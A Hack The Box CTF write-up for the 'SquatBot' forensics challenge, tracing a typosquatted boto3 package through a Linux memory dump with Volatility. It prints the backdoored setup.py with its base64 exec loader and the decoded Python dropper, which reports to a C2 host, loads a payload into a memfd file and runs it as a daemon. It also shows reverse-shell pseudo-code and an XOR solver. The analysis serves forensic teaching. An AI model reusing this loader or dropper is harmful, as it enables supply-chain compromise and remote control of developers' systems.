Hack The Box: Cybersecurity Training
Popular Topics
  • JOIN NOW
ALL Red Teaming Blue Teaming Cyber Teams Education CISO Diaries Customer Stories Write-Ups CVE Explained News Career Stories Humans of HTB Attack Anatomy Artificial Intelligence

Write-Ups

10 min read

Business CTF 2022: Typosquatting and fileless linux malware - SquatBot

This post will cover the solution for the hard forensics challenge, Squatbot, and the thought process during the development.

thewildspirit avatar

thewildspirit,
Sep 23
2022

Hack The Box Article

Description

An AWS development company that provides full-scale cloud consulting and AWS application development services has recently been compromised. They try to maintain cyber hygiene by applying numerous procedures and safe development practices. To this day, they are unaware of how malware could penetrate their defences. We have managed to obtain a memory dump and isolate the compromised server. Can you analyze the dump and examine the malware's behavior?

Write-up 📜

The downloadable files for this challenge are a Linux memory dump and its corresponding volatility profile. 

For this challenge, I wanted to demonstrate that no one is impenetrable. Even if you work in a hardened environment and apply lots of safe development practices, there is always room for human error. So instead of using the most common attack that relies heavily on human error, phishing, I started searching for other alternatives.

I stumbled upon this incident

Loading Preview...

where malicious actors crafted a backdoored python package based on a famous Amazon Web Services Software Development Kit for Python and published it on PyPI. The package was named botaa3 instead of the original name boto3. This attack targets people that tend to write URLs manually instead of copy-pasting them. For this reason, while recreating the incident, we tried to make our malicious repository’s name as evident as possible so none could mistakenly install our backdoored package instead of the original one.

For the malware itself, I wanted to use a fileless technique where it would require players to get more familiar with volshell and manually inspect the memory dump. I first found this tweet

Loading Preview...

by inversecos

Loading Preview...

where she demonstrated how somebody can detect two types of Linux fileless attacks in live systems. This tweet referred to this research

Loading Preview...

presented in Zeronights 2018. This research showcased how it is possible to use the memfd_create

Loading Preview...

syscall in multiple programming languages to execute an ELF file directly in memory. All the pieces came together at this point, as I decided to combine those two techniques in one challenge.

Now let’s proceed to the challenge’s solution.

Volatility Setup 🔧

Volatility does not provide Linux profiles by default. Thus, we need to create one and then configure volatility to use it. Since the profile file is provided as a downloadable, we only need to configure it.

After downloading volatility from GitHub, we need to copy the profile file into the path volatility/plugins/overlays/Linux.

Enumeration 🔎

Firstly, when investigating a memory dump, a healthy habit is to enumerate the running processes.

We notice that the user developer is currently logged in to the server via ssh. The user's id is 1000, and as a result, we can see that the user is also the owner of the process 1451 and 1420,1295, which are bash processes.

Our next step would be to enumerate the bash history.

As we can see, the user downloads the boto3 python library from GitHub and then installs it using the setup.py file. But at this point, we need to pay attention to the details. The original boto3 repository is https://github.com/boto/boto3

Loading Preview...

, which is not equal to the one the user downloads.

By enumerating the repository, we can see that it only has one commit. This is suspicious. In addition, there is a recent real-life incident where malware was distributed from a malicious PyPI package using typosquatting as mentioned above. Like the incident, the setup.py file is backdoored.

We can confirm this by extracting the file from memory using volatility or enumerating the Github repository. For this write-up, we will go with the first option.

First, we need to enumerate the cached files and find the wanted file's inode.

After that, let’s dump the file by providing the inode to the linux_find_file volatility plugin.

The content of the file can be seen below.

#!/usr/bin/env python

exec(__import__('base64').b64decode('aW1wb3J0IGN0eXBlcwppbXBvcnQgb3MKaW1wb3J0IHJlcXVlc3RzCmltcG9ydCBzb2NrZXQKaW1wb3J0IHN5cwppbXBvcnQgdGltZQoKZGVmIGNoZWNrSW4oKToKCglkYXRhID0gewoJImFjdGlvbiI6ICJjaGVja2luIiwKCSJ1c2VyIjogb3MuZ2V0bG9naW4oKSwKCSJob3N0Ijogc29ja2V0LmdldGhvc3RuYW1lKCksCgkicGlkIjogb3MuZ2V0cGlkKCksCgkiYXJjaGl0ZWN0dXJlIjogIng2NCIgaWYgc3lzLm1heHNpemUgPiAyKiozMiBlbHNlICJ4ODYiLAoJfQoKCXJlcyA9IHJlcXVlc3RzLnBvc3QoZiJodHRwczovL2ZpbGVzLnB5cGktaW5zdGFsbC5jb20vcGFja2FnZXM/bmFtZT17b3MuZ2V0bG9naW4oKX1Ae3NvY2tldC5nZXRob3N0bmFtZSgpfSIsanNvbj1kYXRhKQoKCWlmIHJlcy5jb250ZW50ICE9ICJPayI6CgkJcmV0dXJuIEZhbHNlCgllbHNlOgoJCXJldHVybiBUcnVlCgoKZGVmIHJ1bihmZCk6CgoJdGltZS5zbGVlcCgxMCkKCW9zLmV4ZWNsKGYiL3Byb2Mvc2VsZi9mZC97ZmR9Iiwic2giKQoKCXdoaWxlKFRydWUpOgoJCWlmIGNoZWNrSW4oKTogb3MuZXhlY2woZiIvcHJvYy9zZWxmL2ZkL3tmZH0iLCJzaCIpCgpJUCA9ICI3Ny43NC4xOTguNTIiClBPUlQgPSA0NDQzCkFERFIgPSAoSVAsIFBPUlQpClNJWkUgPSAxMDI0CgoKY2xpZW50ID0gc29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCwgc29ja2V0LlNPQ0tfU1RSRUFNKQoKY2xpZW50LmNvbm5lY3QoQUREUikKCmZkID0gY3R5cGVzLkNETEwoTm9uZSkuc3lzY2FsbCgzMTksIiIsMSkKCgp3aGlsZShUcnVlKToKCglkYXRhID0gY2xpZW50LnJlY3YoU0laRSkKCglpZiBub3QgZGF0YTogYnJlYWsKCglmb3IgaSBpbiBkYXRhOgoJCW9wZW4oZiIvcHJvYy9zZWxmL2ZkL3tmZH0iLCJhYiIpLndyaXRlKGJ5dGVzKFtpIF4gMjM5XSkpCgpjbGllbnQuY2xvc2UoKQoKZm9yazEgPSBvcy5mb3JrKCkKaWYgMCAhPSBmb3JrMToKCW9zLl9leGl0KDApCgoKb3MuY2hkaXIoIi8iKQpvcy5zZXRzaWQoICApCm9zLnVtYXNrKDApCgoKZm9yazIgPSBvcy5mb3JrKCkKaWYgMCAhPSBmb3JrMjoKCXN5cy5leGl0KDApCgoKcnVuKGZkKQoKCg=='))





"""

distutils/setuptools install script.

"""

import os

import re




from setuptools import find_packages, setup




ROOT = os.path.dirname(__file__)

VERSION_RE = re.compile(r'''__version__ = ['"]([0-9.]+)['"]''')





requires = [

    'botocore>=1.27.9,<1.28.0',

    'jmespath>=0.7.1,<2.0.0',

    's3transfer>=0.6.0,<0.7.0',

]





def get_version():

    init = open(os.path.join(ROOT, 'boto3', '__init__.py')).read()

    return VERSION_RE.search(init).group(1)





setup(

    name='boto3',

    version=get_version(),

    description='The AWS SDK for Python',

    long_description=open('README.rst').read(),

    author='Amazon Web Services',

    url='https://github.com/boto/boto3',

    scripts=[],

    packages=find_packages(exclude=['tests*']),

    package_data={'boto3': ['data/aws/resources/*.json', 'examples/*.rst']},

    include_package_data=True,

    install_requires=requires,

    license="Apache License 2.0",

    python_requires=">= 3.7",

    classifiers=[

        'Development Status :: 5 - Production/Stable',

        'Intended Audience :: Developers',

        'Natural Language :: English',

        'License :: OSI Approved :: Apache Software License',

        'Programming Language :: Python',

        'Programming Language :: Python :: 3',

        'Programming Language :: Python :: 3.7',

        'Programming Language :: Python :: 3.8',

        'Programming Language :: Python :: 3.9',

        'Programming Language :: Python :: 3.10',

    ],

    project_urls={

        'Documentation': 'https://boto3.amazonaws.com/v1/documentation/api/latest/index.html',

        'Source': 'https://github.com/boto/boto3',

    },

)

In the first line, we can spot a base64 encoded python command. This is the backdoor. By decoding it, we can retrieve the python code.

import ctypes

import os

import requests

import socket

import sys

import time



def checkIn():



data = {

"action": "checkin",

"user": os.getlogin(),

"host": socket.gethostname(),

"pid": os.getpid(),

"architecture": "x64" if sys.maxsize > 2**32 else "x86",

}



res = requests.post(f"https://files.pypi-install.com/packages?name={os.getlogin()}@{socket.gethostname()}",json=data)


if res.content != "Ok":

return False

else:

return True



def run(fd):



time.sleep(10)

os.execl(f"/proc/self/fd/{fd}","sh")


while(True):

if checkIn(): os.execl(f"/proc/self/fd/{fd}","sh")


IP = "77.74.198.52"

PORT = 4443

ADDR = (IP, PORT)

SIZE = 1024


client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)


client.connect(ADDR)


fd = ctypes.CDLL(None).syscall(319,"",1)



while(True):


data = client.recv(SIZE)


if not data: break


for i in data:

open(f"/proc/self/fd/{fd}","ab").write(bytes([i ^ 239]))


client.close()


fork1 = os.fork()

if 0 != fork1:

os._exit(0)




os.chdir("/")

os.setsid(  )

os.umask(0)



fork2 = os.fork()

if 0 != fork2:

sys.exit(0)


run(fd)

Code Review 🐍

To understand the code's functionality, we will split it into 3 segments.

  • CheckIn(): Sends keep-alive HTTP requests to the C2 server.

  • run(fd): After the program sleeps for 10 seconds, it executes a file with the given descriptor.

  • main script: First, it creates a socket and connects to the address 77.74.198.52 and port 4443. Then it uses ctypes to execute the syscall with id 319.

memfd_create() creates an anonymous file and returns a file descriptor that refers to it. The file behaves like a regular file and can be modified, truncated, memory-mapped, and so on. However, unlike a regular file, it lives in RAM and has volatile backing storage. Once all references to the file are dropped, it is automatically released.

Using the returned file descriptor, recursively, it reads data from the socket and writes it in the fd. Finally, the malware uses the double fork technique, making the process a daemon. While running in the background, the process calls the run() function so it can execute the anonymous file and call the CheckIn function.

Locate the File Descriptor

So what is a file descriptor? A file descriptor is unique for each process integer identifier which acts as a handle to I/O operations. Every process has its set of file descriptors. The most common are:

  • stdin: Standard Input, its file descriptor id is 0.

  • stdout: Standard Output, its file descriptor id is 1.

  • stderr: Standard Error, its file descriptor id is 2.

Using the linux_lsof volatility plugin, we can enumerate the open file descriptors of each process.

This plugin provides us with each file descriptor's number and path. But the 4th one does not seem to have a path. This is very interesting since pipes or sockets which do not have a path on disk are clearly mentioned by volatility.

Ideally, we would like to find the offset of the 4th fd in memory so we can retrieve the file structure.

For this step, we will see how linux_lsof works and if we can get more information for each file descriptor. Here

Loading Preview...

, lsof function returns the fd number and filp variable, which is the file pointer.

By using linux_volshell we have an interactive python shell in a specific process's memory space.

We will use the same code as the plugin so we can read the filp variable.

from volatility.renderers.basic import Address

task = self._proc


for filp, fd in task.lsof():

  print(0,[Address(task.obj_offset),str(task.comm),int(task.pid),int(fd),filp])

Since this address is only the pointer to the file, in order to dump it, we need to find its inode. Next, if the fd equals 4, we will use the dt() function of volshell, which is able to overlay a given structure for a given memory address. The function can be used as:

dt(objct, address=None, space=None, recursive=False, depth=0)

We need to overlay the file object at a given address, so:

dt('file',addr)

All together can be found here.

Extract the File

Now that we have the inode of the file, we can extract it using the linux_find_file plugin.

The file is a valid ELF.

─$ file flag

flag_final: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=b4422c5a50518ea9430e417a54c1afd27bdf5df2, for GNU/Linux 3.2.0, stripped

Reverse it ⏪

By opening the file on ghidra, we can see the C pseudo-code of the main function.

Please note that this step is not intended to be a hard one as the objective of the challenge is to find the inode of the dropped file by using its file descriptor.

From the functions used in the program such as socket,connect,dup2 we can identify that it probably is something like a reverse shell. At the beginning of the main function there are some anti-sandbox checks:

lVar2 = sysconf(0x55);

  if (lVar2 < 0) {

    lVar2 = lVar2 + 0x3ff;

  }

  lVar3 = sysconf(0x1e);

  if (lVar3 < 0) {

    lVar3 = lVar3 + 0x3ff;

  }

  if ((lVar3 >> 10) * (lVar2 >> 10) < 1000) {

    local_1c = local_1c + 1;

  }

  lVar2 = sysconf(0x54);

  if (lVar2 < 2) {

    local_1c = local_1c + 1;

  }

  uVar4 = FUN_001011f5();

  if (uVar4 < 0x3d) {

    local_1c = local_1c + 1;

The malware checks for:

  • The available RAM size.

  • The uptime of the machine.

  • The number of the processors.

If the checks are completed, it then proceeds.

After it connects to the wanted address and port, it waits for a password to unlock the interactive shell for the user.

  local_a8 = 0x6f722f5c645d4b57;

  local_a0 = 0x794066732c6b2c73;

  local_98 = 0x406c6c2c732c732e;

  local_90 = 0x732e6b6c406b6a7d;

  local_88 = 0x6b7c2c6b2c7b4073;

  local_80 = 0x2c737d2b;

  local_7c = 0x62;

  local_24 = 0;

  while( true ) {

    uVar4 = (ulong)local_24;

    sVar5 = strlen((char *)&local_a8);

    if (sVar5 <= uVar4) break;

    *(byte *)((long)&local_a8 + (long)local_24) = *(byte *)((long)&local_a8 + (long)local_24) ^ 0x1f

    ;

    local_24 = local_24 + 1;

  }

The password is protected with a simple XOR.

A solver can be found here.

local_a8 = ["6f722f5c645d4b57","794066732c6b2c73","406c6c2c732c732e","732e6b6c406b6a7d","6b7c2c6b2c7b4073","2c737d2b","62"]

flag = ''

for pack in local_a8:

  val = bytes.fromhex(pack)

  for i in range(len(val)):

    flag += chr(val[::-1][i]^0x1f)


print(flag)

🎮 PLAY THE TRACK

GET A DEMO FREE TRIAL

Contents

  • Description
  • Write-up 📜
    • Volatility Setup 🔧
    • Enumeration 🔎
    • Code Review 🐍
    • Locate the File Descriptor
    • Extract the File
    • Reverse it ⏪

Latest News

Hack the Box Blog

Humans of HTB

9 min read

Humans of HTB #12: Tassos's journey into engineering

duckarcher avatar duckarcher, May 30, 2025

Hack the Box Blog

News

5 min read

Building a threat-ready cyber workforce: Hack The Box 2025 Buyers Guide

b3rt0ll0 avatar b3rt0ll0, May 28, 2025

Hack the Box Blog

Customer Stories

3 min read

Ynov Campus students put their skills to the test in a thrilling CTF experience powered by Hack The Box

Noni avatar Noni, May 26, 2025

Hack The Blog

The latest news and updates, direct from Hack The Box

Read More
Hack The Box: Cybersecurity Training

The #1 platform to build attack-ready
teams and organizations.

Get a demo

Forrester wave leader Forrester wave leader
ISO 27001 ISO 27701 ISO 9001
G2 rating Capterra rating

Products
Teams
Courses & Certifications Cyber Ranges Enterprise Attack Simulations Cloud Infrastructure Simulations Capture The Flag Tabletop Exercises Talent Sourcing
Individuals
Courses & Certifications Hacking Labs Defensive Labs Red Team Labs Capture The Flag Job Board
Solutions
Job Roles
Red Teams Blue Teams Purple Teams
Industries
Government Higher Education Finance Professional Services
Use Cases
Technical Onboarding Team Benchmarking Candidate Assessment Threat Management Code Vulnerability Crisis Simulation Governance & Compliance
Resources
Community Blog Industry Reports Webinars AMAs Learn with HTB Customer Stories Cheat Sheets Compliance Sheets Glossary Guides & Templates Parrot OS Help Center
Programs
Channel & Resellers Ambassador Program Affiliate Program SME Program
Company
About us Careers Brand Guidelines Certificate Validation Trust Center Product Updates Status
Contact Us
Press Support Enterprise Sales
Partners
Become a Partner Register a Deal
Store
HTB Swag Buy Gift Cards
Products
Teams
Courses & Certifications Cyber Ranges Enterprise Attack Simulations Cloud Infrastructure Simulations Capture The Flag Tabletop Exercises Talent Sourcing

Individuals

Courses & Certifications Hacking Labs Defensive Labs Red Team Labs Capture The Flag Job Board
Solutions
Job Roles
Red Teams Blue Teams Purple Teams

Industries

Government Higher Education Finance Professional Services

Use Cases

Technical Onboarding Team Benchmarking Candidate Assessment Threat Management Code Vulnerability Crisis Simulation Governance & Compliance
Resources
Community Blog Industry Reports Webinars AMAs Learn with HTB Customer Stories Cheat Sheets Compliance Sheets Glossary Guides & Templates Parrot OS Help Center

Programs

Channel & Resellers Ambassador Program Affiliate Program SME Program
Company
About us Careers Brand Guidelines Certificate Validation Trust Center Product Updates Status

Contact Us

Press Support Enterprise Sales

Partners

Become a Partner Register a Deal

Store

HTB Swag Buy Gift Cards
Cookie Settings
Privacy Policy
User Agreement
© 2025 Hack The Box